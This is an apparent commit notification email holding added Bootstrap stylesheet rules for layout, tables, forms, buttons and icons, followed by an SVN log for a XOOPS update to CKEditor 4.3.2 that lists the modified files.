.col-md-offset-11{margin-left:91.66666666666666%;}}@media (min-width:1200px){.container{max-width:1170px;} .col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11{float:left;} .col-lg-1{width:8.333333333333332%;} .col-lg-2{width:16.666666666666664%;} .col-lg-3{width:25%;} .col-lg-4{width:33.33333333333333%;} .col-lg-5{width:41.66666666666667%;} .col-lg-6{width:50%;} .col-lg-7{width:58.333333333333336%;} .col-lg-8{width:66.66666666666666%;} .col-lg-9{width:75%;} .col-lg-10{width:83.33333333333334%;} .col-lg-11{width:91.66666666666666%;} .col-lg-12{width:100%;} .col-lg-push-0{left:auto;} .col-lg-push-1{left:8.333333333333332%;} .col-lg-push-2{left:16.666666666666664%;} .col-lg-push-3{left:25%;} .col-lg-push-4{left:33.33333333333333%;} .col-lg-push-5{left:41.66666666666667%;} .col-lg-push-6{left:50%;} .col-lg-push-7{left:58.333333333333336%;} .col-lg-push-8{left:66.66666666666666%;} .col-lg-push-9{left:75%;} .col-lg-push-10{left:83.33333333333334%;} .col-lg-push-11{left:91.66666666666666%;} .col-lg-pull-0{right:auto;} .col-lg-pull-1{right:8.333333333333332%;} .col-lg-pull-2{right:16.666666666666664%;} .col-lg-pull-3{right:25%;} .col-lg-pull-4{right:33.33333333333333%;} .col-lg-pull-5{right:41.66666666666667%;} .col-lg-pull-6{right:50%;} .col-lg-pull-7{right:58.333333333333336%;} .col-lg-pull-8{right:66.66666666666666%;} .col-lg-pull-9{right:75%;} .col-lg-pull-10{right:83.33333333333334%;} .col-lg-pull-11{right:91.66666666666666%;} .col-lg-offset-0{margin-left:0;} .col-lg-offset-1{margin-left:8.333333333333332%;} .col-lg-offset-2{margin-left:16.666666666666664%;} .col-lg-offset-3{margin-left:25%;} .col-lg-offset-4{margin-left:33.33333333333333%;} .col-lg-offset-5{margin-left:41.66666666666667%;} .col-lg-offset-6{margin-left:50%;} .col-lg-offset-7{margin-left:58.333333333333336%;} .col-lg-offset-8{margin-left:66.66666666666666%;} .col-lg-offset-9{margin-left:75%;} .col-lg-offset-10{margin-left:83.33333333333334%;} .col-lg-offset-11{margin-left:91.66666666666666%;}}table{max-width:100%;background-color:transparent;}
+th{text-align:left;}
+.table{width:100%;margin-bottom:20px;}.table thead>tr>th,.table tbody>tr>th,.table tfoot>tr>th,.table thead>tr>td,.table tbody>tr>td,.table tfoot>tr>td{padding:8px;line-height:1.428571429;vertical-align:top;border-top:1px solid #dddddd;}
+.table thead>tr>th{vertical-align:bottom;border-bottom:2px solid #dddddd;}
+.table caption+thead tr:first-child th,.table colgroup+thead tr:first-child th,.table thead:first-child tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child td{border-top:0;}
+.table tbody+tbody{border-top:2px solid #dddddd;}
+.table .table{background-color:#ffffff;}
+.table-condensed thead>tr>th,.table-condensed tbody>tr>th,.table-condensed tfoot>tr>th,.table-condensed thead>tr>td,.table-condensed tbody>tr>td,.table-condensed tfoot>tr>td{padding:5px;}
+.table-bordered{border:1px solid #dddddd;}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #dddddd;}
+.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px;}
+.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9;}
+.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5;}
+table col[class*="col-"]{float:none;display:table-column;}
+table td[class*="col-"],table th[class*="col-"]{float:none;display:table-cell;}
+.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5;}
+.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8;border-color:#d6e9c6;}
+.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td{background-color:#d0e9c6;border-color:#c9e2b3;}
+.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede;border-color:#eed3d7;}
+.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td{background-color:#ebcccc;border-color:#e6c1c7;}
+.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3;border-color:#fbeed5;}
+.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td{background-color:#faf2cc;border-color:#f8e5be;}
+@media (max-width:768px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;overflow-x:scroll;border:1px solid #dddddd;}.table-responsive>.table{margin-bottom:0;background-color:#fff;}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap;} .table-responsive>.table-bordered{border:0;}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0;} .table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0;} .table-responsive>.table-bordered>thead>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>thead>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0;}}fieldset{padding:0;margin:0;border:0;}
+legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333333;border:0;border-bottom:1px solid #e5e5e5;}
+label{display:inline-block;margin-bottom:5px;font-weight:bold;}
+input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
+input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal;}
+input[type="file"]{display:block;}
+select[multiple],select[size]{height:auto;}
+select optgroup{font-size:inherit;font-style:inherit;font-family:inherit;}
+input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
+input[type="number"]::-webkit-outer-spin-button,input[type="number"]::-webkit-inner-spin-button{height:auto;}
+.form-control:-moz-placeholder{color:#999999;}
+.form-control::-moz-placeholder{color:#999999;}
+.form-control:-ms-input-placeholder{color:#999999;}
+.form-control::-webkit-input-placeholder{color:#999999;}
+.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.428571429;color:#555555;vertical-align:middle;background-color:#ffffff;border:1px solid #cccccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);}
+.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eeeeee;}
+textarea.form-control{height:auto;}
+.form-group{margin-bottom:15px;}
+.radio,.checkbox{display:block;min-height:20px;margin-top:10px;margin-bottom:10px;padding-left:20px;vertical-align:middle;}.radio label,.checkbox label{display:inline;margin-bottom:0;font-weight:normal;cursor:pointer;}
+.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{float:left;margin-left:-20px;}
+.radio+.radio,.checkbox+.checkbox{margin-top:-5px;}
+.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer;}
+.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px;}
+input[type="radio"][disabled],input[type="checkbox"][disabled],.radio[disabled],.radio-inline[disabled],.checkbox[disabled],.checkbox-inline[disabled],fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"],fieldset[disabled] .radio,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox,fieldset[disabled] .checkbox-inline{cursor:not-allowed;}
+.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}select.input-sm{height:30px;line-height:30px;}
+textarea.input-sm{height:auto;}
+.input-lg{height:45px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}select.input-lg{height:45px;line-height:45px;}
+textarea.input-lg{height:auto;}
+.has-warning .help-block,.has-warning .control-label{color:#c09853;}
+.has-warning .form-control{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-warning .form-control:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;}
+.has-warning .input-group-addon{color:#c09853;border-color:#c09853;background-color:#fcf8e3;}
+.has-error .help-block,.has-error .control-label{color:#b94a48;}
+.has-error .form-control{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-error .form-control:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;}
+.has-error .input-group-addon{color:#b94a48;border-color:#b94a48;background-color:#f2dede;}
+.has-success .help-block,.has-success .control-label{color:#468847;}
+.has-success .form-control{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.has-success .form-control:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;}
+.has-success .input-group-addon{color:#468847;border-color:#468847;background-color:#dff0d8;}
+.form-control-static{margin-bottom:0;padding-top:7px;}
+.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373;}
+@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle;} .form-inline .form-control{display:inline-block;} .form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;} .form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:none;margin-left:0;}}
+.form-horizontal .control-label,.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px;}
+.form-horizontal .form-group{margin-left:-15px;margin-right:-15px;}.form-horizontal .form-group:before,.form-horizontal .form-group:after{content:" ";display:table;}
+.form-horizontal .form-group:after{clear:both;}
+.form-horizontal .form-group:before,.form-horizontal .form-group:after{content:" ";display:table;}
+.form-horizontal .form-group:after{clear:both;}
+@media (min-width:768px){.form-horizontal .control-label{text-align:right;}}
+.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:normal;line-height:1.428571429;text-align:center;vertical-align:middle;cursor:pointer;border:1px solid transparent;border-radius:4px;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
+.btn:hover,.btn:focus{color:#333333;text-decoration:none;}
+.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);}
+.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;pointer-events:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;}
+.btn-default{color:#333333;background-color:#ffffff;border-color:#cccccc;}.btn-default:hover,.btn-default:focus,.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{color:#333333;background-color:#ebebeb;border-color:#adadad;}
+.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{background-image:none;}
+.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#ffffff;border-color:#cccccc;}
+.btn-primary{color:#ffffff;background-color:#428bca;border-color:#357ebd;}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{color:#ffffff;background-color:#3276b1;border-color:#285e8e;}
+.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{background-image:none;}
+.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#428bca;border-color:#357ebd;}
+.btn-warning{color:#ffffff;background-color:#f0ad4e;border-color:#eea236;}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{color:#ffffff;background-color:#ed9c28;border-color:#d58512;}
+.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{background-image:none;}
+.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#f0ad4e;border-color:#eea236;}
+.btn-danger{color:#ffffff;background-color:#d9534f;border-color:#d43f3a;}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{color:#ffffff;background-color:#d2322d;border-color:#ac2925;}
+.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{background-image:none;}
+.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#d9534f;border-color:#d43f3a;}
+.btn-success{color:#ffffff;background-color:#5cb85c;border-color:#4cae4c;}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{color:#ffffff;background-color:#47a447;border-color:#398439;}
+.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{background-image:none;}
+.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#5cb85c;border-color:#4cae4c;}
+.btn-info{color:#ffffff;background-color:#5bc0de;border-color:#46b8da;}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{color:#ffffff;background-color:#39b3d7;border-color:#269abc;}
+.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{background-image:none;}
+.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#5bc0de;border-color:#46b8da;}
+.btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0;}.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none;}
+.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent;}
+.btn-link:hover,.btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent;}
+.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none;}
+.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px;}
+.btn-sm,.btn-xs{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px;}
+.btn-xs{padding:1px 5px;}
+.btn-block{display:block;width:100%;padding-left:0;padding-right:0;}
+.btn-block+.btn-block{margin-top:5px;}
+input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%;}
+@font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphicons-halflings-regular.eot');src:url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'),url('../fonts/glyphicons-halflings-regular.woff') format('woff'),url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg');}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;}
+.glyphicon-asterisk:before{content:"\2a";}
+.glyphicon-plus:before{content:"\2b";}
+.glyphicon-euro:before{content:"\20ac";}
+.glyphicon-minus:before{content:"\2212";}
+.glyphicon-cloud:before{content:"\2601";}
+.glyphicon-envelope:before{content:"\2709";}
+.glyphicon-pencil:before{content:"\270f";}
+.glyphicon-glass:before{content:"\e001";}
+.glyphicon-music:before{content:"\e002";}
+.glyphicon-search:before{content:"\e003";}
+.glyphicon-heart:before{content:"\e005";}
+.glyphicon-star:before{content:"\e006";}
+.glyphicon-star-empty:before{content:"\e007";}
+.glyphicon-user:before{content:"\e008";}
+.glyphicon-film:before{content:"\e009";}
+.glyphicon-th-large:before{content:"\e010";}
+.glyphicon-th:before{content:"\e011";}
+.glyphicon-th-list:before{content:"\e012";}
+.glyphicon-ok:before{content:"\e013";}
+.glyphicon-remove:before{content:"\e014";}
+.glyphicon-zoom-in:before{content:"\e015";}
+.glyphicon-zoom-out:before{content:"\e016";}
+.glyphicon-off:before{content:"\e017";}
+.glyphicon-signal:before{content:"\e018";}
+.glyphicon-cog:before{content:"\e019";}
+.glyphicon-trash:before{content:"\e020";}
+.glyphicon-home:before{content:"\e021";}
+.glyphicon-file:before{content:"\e022";}
+.glyphicon-time:before{content:"\e023";}
+.glyphicon-road:before{content:"\e024";}
+.glyphicon-download-alt:before{content:"\e025";}
+.glyphicon-download:before{content:"\e026";}
+.glyphicon-upload:before{content:"\e027";}
+.glyphicon-inbox:before{content:"\e028";}
+.glyphicon-play-circle:before{content:"\e029";}
+.glyphicon-repeat:before{content:"\e030";}
+.glyphicon-refresh:before{content:"\e031";}
+.glyphicon-list-alt:before{content:"\e032";}
+.glyphicon-flag:before{content:"\e034";}
+.glyphicon-headphones:before{content:"\e035";}
+.glyphicon-volume-off:before{content:"\e036";}
+.glyphicon-volume-down:before{content:"\e037";}
+.glyphicon-volume-up:before{content:"\e038";}
+.glyphicon-qrcode:before{content:"\e039";}
+.glyphicon-barcode:before{content:"\e040";}
+.glyphicon-tag:before{content:"\e041";}
+.glyphicon-tags:before{content:"\e042";}
+.glyphicon-book:before{content:"\e043";}
+.glyphicon-print:before{content:"\e045";}
+.glyphicon-font:before{content:"\e047";}
+.glyphicon-bold:before{content:"\e048";}
+.glyphicon-italic:before{content:"\e049";}
+.glyphicon-text-height:before{content:"\e050";}
+.glyphicon-text-width:before{content:"\e051";}
+.glyphicon-align-left:before{content:"\e052";}
+.glyphicon-align-center:before{content:"\e053";}
+.glyphicon-align-right:before{content:"\e054";}
+.glyphicon-align-justify:before{content:"\e055";}
+.glyphicon-list:before{content:"\e056";}
+.glyphicon-indent-left:before{content:"\e057";}
+.glyphicon-indent-right:before{content:"\e058";}
+.glyphicon-facetime-video:before{content:"\e059";}
+.glyphicon-picture:before{content:"\e060";}
+.glyphicon-map-marker:before{content:"\e062";}
+.glyphicon-adjust:before{content:"\e063";}
+.glyphicon-tint:before{content:"\e064";}
+.glyphicon-edit:before{content:"\e065";}
+.glyphicon-share:before{content:"\e066";}
+.glyphicon-check:before{content:"\e067";}
+.glyphicon-move:before{content:"\e068";}
+.glyphicon-step-backward:before{content:"\e069";}
+.glyphicon-fast-backward:before{content:"\e070";}
+.glyphicon-backward:before{content:"\e071";}
+.glyphicon-play:before{content:"\e072";}
+.glyphicon-pause:before{content:"\e073";}
+.glyphicon-stop:before{content:"\e074";}
+.glyphicon-forward:before{content:"\e075";}
+.glyphicon-fast-forward:before{content:"\e076";}
+.glyphicon-step-forward:before{content:"\e077";}
+.glyphicon-eject:before{content:"\e078";}
+.glyphicon-chevron-left:before{content:"\e079";}
+.glyphicon-chevron-right:before{content:"\e080";}
+.glyphicon-plus-sign:before{content:"\e081";}
+.glyphicon-minus-sign:before{content:"\e082";}
+.glyphicon-remove-sign:before{content:"\e083";}
+.glyphicon-ok-sign:before{content:"\e084";}
+.glyphicon-question-sign:before{content:"\e085";}
+.glyphicon-info-sign:before{content:"\e086";}
+.glyphicon-screenshot:before{content:"\e087";}
+.glyphicon-remove-circle:before{content:"\e088";}
+.glyphicon-ok-circle:before{content:"\e089";}
+.glyphicon-ban-circle:before{content:"\e090";}
+.glyphicon-arrow-left:before{content:"\e091";}
+.glyphicon-arrow-right:before{content:"\e092";}
+.glyphicon-arrow-up:before{content:"\e093";}
+.glyphicon-arrow-down:before{content:"\e094";}
+.glyphicon-share-alt:before{content:"\e095";}
+.glyphicon-resize-full:before{content:"\e096";}
+.glyphicon-resize-small:before{content:"\e097";}
+.glyphicon-exclamation-sign:before{content:"\e101";}
+.glyphicon-gift:before{content:"\e102";}
+.glyphicon-leaf:before{content:"\e103";}
+.glyphicon-eye-open:before{content:"\e105";}
+.glyphicon-eye-close:before{content:"\e106";}
+.glyphicon-warning-sign:before{content:"\e107";}
+.glyphicon-plane:before{content:"\e108";}
+...
[truncated message content] |
|
From: <be...@us...> - 2014-02-10 03:03:57
|
Revision: 12294
http://sourceforge.net/p/xoops/svn/12294
Author: beckmi
Date: 2014-02-10 03:03:48 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Updating to CKEditor 4.3.2
Modified Paths:
--------------
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/CHANGES.md
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/LICENSE.md
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/README.md
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/adapters/jquery.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/ckeditor.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/config.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/contents.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/lang/en.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/a11yhelp/dialogs/a11yhelp.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/a11yhelp/dialogs/lang/_translationstatus.txt
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/a11yhelp/dialogs/lang/en.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/about/dialogs/about.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/clipboard/dialogs/paste.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/css/codemirror.min.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.addons.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/js/codemirror.min.js
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/ambiance.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/blackboard.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/cobalt.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/eclipse.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/elegant.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/erlang-dark.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/lesser-dark.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/midnight.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/monokai.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/neat.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/night.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/rubyblue.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/solarized.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/twilight.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/vibrant-ink.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/xq-dark.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/codemirror/theme/xq-light.css
ThirdParty/xoopseditor/trunk/htdocs/class/xoopseditor/ckeditor/ckeditor/plugins/colordialog/dialogs/colordialog.js
